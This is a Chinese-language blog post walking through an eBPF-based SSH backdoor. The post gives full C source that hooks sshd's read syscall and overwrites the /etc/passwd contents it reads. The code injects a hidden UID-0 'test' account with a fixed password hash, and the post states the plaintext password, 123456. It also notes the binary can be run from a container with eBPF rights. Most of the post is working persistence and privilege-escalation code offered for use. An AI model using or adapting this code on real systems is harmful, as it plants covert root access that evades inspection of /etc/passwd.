原理
首先我们要搞清楚ssh登陆的流程
先获取到ssh的pid
然后利用strace
strace -f -p 830
可以看到他打开了/etc/passwd去读取内容
那么我们的思路就很简单,hook ssh进程的read syscall exit,然后篡改返回内容
代码
ebpf
// +build ignore
#include "my_def.h"
#include <stdbool.h>
char __license[] SEC("license") = "Dual MIT/GPL";
#define TASK_COMM_LEN 16
#define TARGET_NAME "sshd"
#define FILE_NAME "/etc/passwd"
#define CONSTANT_STR "root:x:0:0:root:/root:/bin/bash\n"
struct bpf_map_def SEC("maps") openat_map = {
.type = BPF_MAP_TYPE_HASH,
.key_size = sizeof(int),
.value_size = sizeof(int),
.max_entries = 256,
};
__inline bool is_target( char * target,const char *src,int len) {
if (memcmp(target, src, len) == 0) {
return true;
}
return false;
}
static __inline int handle_exit_read(struct bpf_raw_tracepoint_args *ctx) {
struct pt_regs *regs = (struct pt_regs *)(ctx->args[0]);
char *buffer_addr = NULL;
bpf_probe_read(&buffer_addr , sizeof(buffer_addr) , ®s->si);
char content[sizeof(CONSTANT_STR)]={0};
bpf_probe_read_str(&content,sizeof(content),buffer_addr);
if (is_target(content,CONSTANT_STR,sizeof(CONSTANT_STR))){
char PAYLOAD[]="root:x:0:0:root:/root:/bin/bash\ntest:$6$7p31yPiD$xLKWF5uIeS6oibSO2nwDlSQEjrzgPEFcRkSVTCEaeoxibJnXjC5NOmTVC/dLvuSHBrVt8tknWaPZ/65PECL0C1:0:0::/root:/bin/sh\n";
bpf_probe_write_user((char *)(buffer_addr), PAYLOAD, sizeof(PAYLOAD)-1);
// char content2[200]={0};
// bpf_probe_read_str(&content2,sizeof(content2),buffer_addr);
// char fmt[] = "content:%s\n";
// bpf_trace_printk(fmt,sizeof(fmt), content2);
}
return 0;
}
SEC("raw_tracepoint/sys_exit")
int raw_tp_sys_exit(struct bpf_raw_tracepoint_args *ctx) {
char comm[TASK_COMM_LEN] = {0};
bpf_get_current_comm(&comm, sizeof(comm));
if(!is_target(comm,TARGET_NAME,sizeof(TARGET_NAME))) return 0;
struct pt_regs *regs = (struct pt_regs *)(ctx->args[0]);
int syscall_id;
bpf_probe_read(&syscall_id, sizeof(syscall_id) , ®s->orig_ax);//这里一定要用orig_ax,因为现在的rax值已经被修改
switch(syscall_id){
case 0:handle_exit_read(ctx);break;//read syscall
default:break;
}
return 0;
}
代码逻辑比较简单。就是先获取进程名,判断是否为sshd, 然后判断syscall_id是否是read, 最后我用了比较粗暴的方法,匹配内容是否是/etc/passwd通用的第一行,然后覆盖返回结果
效果
可以看到无test用户
但是可以通过 test 123456直接登陆
当然如果关掉ebpf的程序是无法登陆的
当然我们可以把编译好的二进制的文件放到具有ebpf权限的容器里面,也是可以利用的